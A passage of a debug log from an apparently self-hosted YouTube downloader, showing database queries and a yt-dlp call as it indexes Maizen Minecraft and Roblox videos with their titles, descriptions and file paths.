prepare submarines capable of withstanding the immense pressure of the endless ocean before it's too late!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!", "5fbee979-0e66-4ff3-bc7c-a62c8aafe61a", "gu_xiQyFWhs", 2386, false, "https://www.youtube.com/watch?v=gu_xiQyFWhs", 15, "/downloads/shows/Maizen/Season 2026/s2026e051700 - NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!.mp4", false, false, false, 2, [], 98, ~U[2026-05-17 03:07:57Z], ~U[2026-08-20 02:36:13Z], ~U[2026-08-20 02:36:13Z], "Today, we're in big trouble! Our world is about to be flooded, and turned into an endless ocean! We don't have much time, we have to hurry and prepare submarines capable of withstanding the immense pressure of the endless ocean before it's too late!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!", "gu_xiQyFWhs", 2386, false, "https://www.youtube.com/watch?v=gu_xiQyFWhs", "/downloads/shows/Maizen/Season 2026/s2026e051700 - NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!.mp4", false, 2, ~U[2026-05-17 03:07:57Z]] 19:36:13.525 [debug] QUERY OK source="sources" db=0.1ms idle=81.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:36:13.525 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:36:13.526 [debug] QUERY OK source="media_items" db=0.1ms idle=4.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [86028] 19:36:13.526 [debug] Current batch of media processed. Will check again in 1000ms 19:36:14.527 [debug] Current batch of media processed. Will check again in 1000ms 19:36:15.528 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, JJ and Mikey have stumbled upon a shady salesman. He says that pushing this button will give you free cake, but you're be trapped in an alternate dimension for 500 Million years! That can't really be true...can it?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 915, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e051600 - 500 Million Year Button.mp4", "id" => "sbn-vC02XcE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=sbn-vC02XcE", "playlist_index" => 16, "timestamp" => 1778901923, "title" => "500 Million Year Button", "upload_date" => "20260516"} 19:36:15.529 [debug] QUERY OK source="sources" db=0.2ms idle=746.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 19:36:15.529 [debug] QUERY OK source="sources" db=0.1ms idle=746.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:36:15.530 [debug] QUERY OK source="media_items" db=1.2ms idle=747.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-16 03:25:23Z], 2] 19:36:15.531 [debug] QUERY OK source="media_items" db=0.6ms idle=748.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, JJ and Mikey have stumbled upon a shady salesman. He says that pushing this button will give you free cake, but you're be trapped in an alternate dimension for 500 Million years! That can't really be true...can it?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "500 Million Year Button", "d34ac201-8b51-4c3c-b623-e5305d833389", "sbn-vC02XcE", 915, false, "https://www.youtube.com/watch?v=sbn-vC02XcE", 16, "/downloads/shows/Maizen/Season 2026/s2026e051600 - 500 Million Year Button.mp4", false, false, false, 2, [], 98, ~U[2026-05-16 03:25:23Z], ~U[2026-08-20 02:36:15Z], ~U[2026-08-20 02:36:15Z], "Today, JJ and Mikey have stumbled upon a shady salesman. He says that pushing this button will give you free cake, but you're be trapped in an alternate dimension for 500 Million years! That can't really be true...can it?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "500 Million Year Button", "sbn-vC02XcE", 915, false, "https://www.youtube.com/watch?v=sbn-vC02XcE", "/downloads/shows/Maizen/Season 2026/s2026e051600 - 500 Million Year Button.mp4", false, 2, ~U[2026-05-16 03:25:23Z]] 19:36:15.532 [debug] QUERY OK source="sources" db=0.1ms idle=85.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:36:15.532 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:36:15.533 [debug] QUERY OK source="media_items" db=0.1ms idle=3.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [81994] 19:36:15.533 [debug] Current batch of media processed. Will check again in 1000ms 19:36:16.533 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're playing Speedrunner vs Hunter, with a twist! JJ can morph into all sorts of different mobs, awesome! Over time, JJ will unlock new mobs to transform into, what kinds of useful mobs will JJ turn into?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 955, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e051300 - MUTANT Speedrunners VS Hunter in Minecraft.mp4", "id" => "5bH1T7ZwmjA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=5bH1T7ZwmjA", "playlist_index" => 17, "timestamp" => 1778643903, "title" => "MUTANT Speedrunners VS Hunter in Minecraft", "upload_date" => "20260513"} 19:36:16.534 [debug] QUERY OK source="sources" db=0.2ms idle=1001.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 19:36:16.534 [debug] QUERY OK source="sources" db=0.1ms idle=1002.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:36:16.536 [debug] QUERY OK source="media_items" db=1.3ms idle=1002.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-13 03:45:03Z], 2] 19:36:16.537 [debug] QUERY OK source="media_items" db=0.6ms idle=1003.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing Speedrunner vs Hunter, with a twist! JJ can morph into all sorts of different mobs, awesome! Over time, JJ will unlock new mobs to transform into, what kinds of useful mobs will JJ turn into?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MUTANT Speedrunners VS Hunter in Minecraft", "fb57faf5-8cbd-420a-91ef-01dcc2de18c1", "5bH1T7ZwmjA", 955, false, "https://www.youtube.com/watch?v=5bH1T7ZwmjA", 17, "/downloads/shows/Maizen/Season 2026/s2026e051300 - MUTANT Speedrunners VS Hunter in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-13 03:45:03Z], ~U[2026-08-20 02:36:16Z], ~U[2026-08-20 02:36:16Z], "Today, we're playing Speedrunner vs Hunter, with a twist! JJ can morph into all sorts of different mobs, awesome! Over time, JJ will unlock new mobs to transform into, what kinds of useful mobs will JJ turn into?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MUTANT Speedrunners VS Hunter in Minecraft", "5bH1T7ZwmjA", 955, false, "https://www.youtube.com/watch?v=5bH1T7ZwmjA", "/downloads/shows/Maizen/Season 2026/s2026e051300 - MUTANT Speedrunners VS Hunter in Minecraft.mp4", false, 2, ~U[2026-05-13 03:45:03Z]] 19:36:16.537 [debug] QUERY OK source="sources" db=0.1ms idle=89.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:36:16.537 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:36:16.538 [debug] QUERY OK source="media_items" db=0.2ms idle=3.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [69843] 19:36:16.538 [debug] Current batch of media processed. Will check again in 1000ms 19:36:17.393 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@maizenofficial --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Maizen/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/6f/eb/6feb3057e272f02a420ae2c1f6d848b8eeb20b6e11f8657e18fec9b5082a623c.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/17/68/17681665918955d20f3a6323f42956bab40458eb75e9ab02a0c8e04894c09f00.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 101 with: 19:36:17.394 [debug] Gracefully stopping file follower 19:36:17.394 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=858.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 19:36:17.395 [debug] QUERY OK source="sources" db=0.1ms idle=857.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:36:17.396 [debug] QUERY OK source="media_items" db=1.3ms idle=857.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-18 09:00:12Z], 2] 19:36:17.397 [debug] QUERY OK source="media_items" db=0.7ms idle=858.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing a game where we can eat anything! Yummy! Everything we eat makes us grow, and the bigger we get, the more powerful we become! Let's eat the entire world!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Why JJ And Mikey Ate ENTIRE World?", "2f5b1598-0b84-462f-a30e-ff91ec173132", "2-aPfodzXeE", 976, false, "https://www.youtube.com/watch?v=2-aPfodzXeE", 1, "/downloads/shows/Maizen/Season 2026/s2026e081800 - Why JJ And Mikey Ate ENTIRE World?.mp4", false, false, false, 2, [], 98, ~U[2026-08-18 09:00:12Z], ~U[2026-08-20 02:36:17Z], ~U[2026-08-20 02:36:17Z], "Today, we're playing a game where we can eat anything! Yummy! Everything we eat makes us grow, and the bigger we get, the more powerful we become! Let's eat the entire world!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Why JJ And Mikey Ate ENTIRE World?", "2-aPfodzXeE", 976, false, "https://www.youtube.com/watch?v=2-aPfodzXeE", "/downloads/shows/Maizen/Season 2026/s2026e081800 - Why JJ And Mikey Ate ENTIRE World?.mp4", false, 2, ~U[2026-08-18 09:00:12Z]] 19:36:17.397 [debug] QUERY OK source="sources" db=0.1ms idle=859.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:36:17.399 [debug] QUERY OK source="media_items" db=1.2ms idle=3.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-16 04:00:11Z], 2] 19:36:17.410 [debug] QUERY OK source="media_items" db=10.4ms idle=4.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mikey's planning a prank to blow up JJ's house, but JJ caught on just in time! Now it's up to JJ to turn Mikey's prank against him in an epic reverse-prank! Will Mikey catch on before it's too late?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Mikey BLEW UP His OWN CASTLE! in Minecraft!!", "1a5e93a0-3199-40b8-b5bd-6abbe5d4c4f9", "SYBhOxduPUg", 1231, false, "https://www.youtube.com/watch?v=SYBhOxduPUg", 2, "/downloads/shows/Maizen/Season 2026/s2026e081600 - Mikey BLEW UP His OWN CASTLE! in Minecraft!!.mp4", false, false, false, 2, [], 98, ~U[2026-08-16 04:00:11Z], ~U[2026-08-20 02:36:17Z], ~U[2026-08-20 02:36:17Z], "Today, Mikey's planning a prank to blow up JJ's house, but JJ caught on just in time! Now it's up to JJ to turn Mikey's prank against him in an epic reverse-prank! Will Mikey catch on before it's too late?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Mikey BLEW UP His OWN CASTLE! in Minecraft!!", "SYBhOxduPUg", 1231, false, "https://www.youtube.com/watch?v=SYBhOxduPUg", "/downloads/shows/Maizen/Season 2026/s2026e081600 - Mikey BLEW UP His OWN CASTLE! in Minecraft!!.mp4", false, 2, ~U[2026-08-16 04:00:11Z]] 19:36:17.410 [debug] QUERY OK source="sources" db=0.2ms idle=13.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:36:17.411 [debug] QUERY OK source="media_items" db=1.1ms idle=13.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-15 12:31:16Z], 2] 19:36:17.414 [debug] QUERY OK source="media_items" db=1.7ms idle=14.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing Build Your Base! 150 waves of powerful enemies will be coming to destroy our heart block, and it's up to us to build the most powerful security systems to keep them away! On the very last wave, a massive dragon awaits! Will we be able to take down the dragon and protect our heart blocks?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "BUILDING The SAFEST BASE to Survive in Roblox", "6a425666-05ea-485a-ae9c-7bf5d2704eb4", "TEmV_KQkWXY", 1360, false, "https://www.youtube.com/watch?v=TEmV_KQkWXY", 3, "/downloads/shows/Maizen/Season 2026/s2026e081500 - BUILDING The SAFEST BASE to Survive in Roblox.mp4", false, false, false, 2, [], 98, ~U[2026-08-15 12:31:16Z], ~U[2026-08-20 02:36:17Z], ~U[2026-08-20 02:36:17Z], "Today, we're playing Build Your Base! 150 waves of powerful enemies will be coming to destroy our heart block, and it's up to us to build the most powerful security systems to keep them away! On the very last wave, a massive dragon awaits! Will we be able to take down the dragon and protect our heart blocks?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "BUILDING The SAFEST BASE to Survive in Roblox", "TEmV_KQkWXY", 1360, false, "https://www.youtube.com/watch?v=TEmV_KQkWXY", "/downloads/shows/Maizen/Season 2026/s2026e081500 - BUILDING The SAFEST BASE to Survive in Roblox.mp4", false, 2, ~U[2026-08-15 12:31:16Z]] 19:36:17.414 [debug] QUERY OK source="sources" db=0.2ms idle=14.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:36:17.415 [debug] QUERY OK source="media_items" db=1.2ms idle=4.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-23 03:28:21Z], 2] 19:36:17.417 [debug] QUERY OK source="media_items" db=0.8ms idle=5.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT 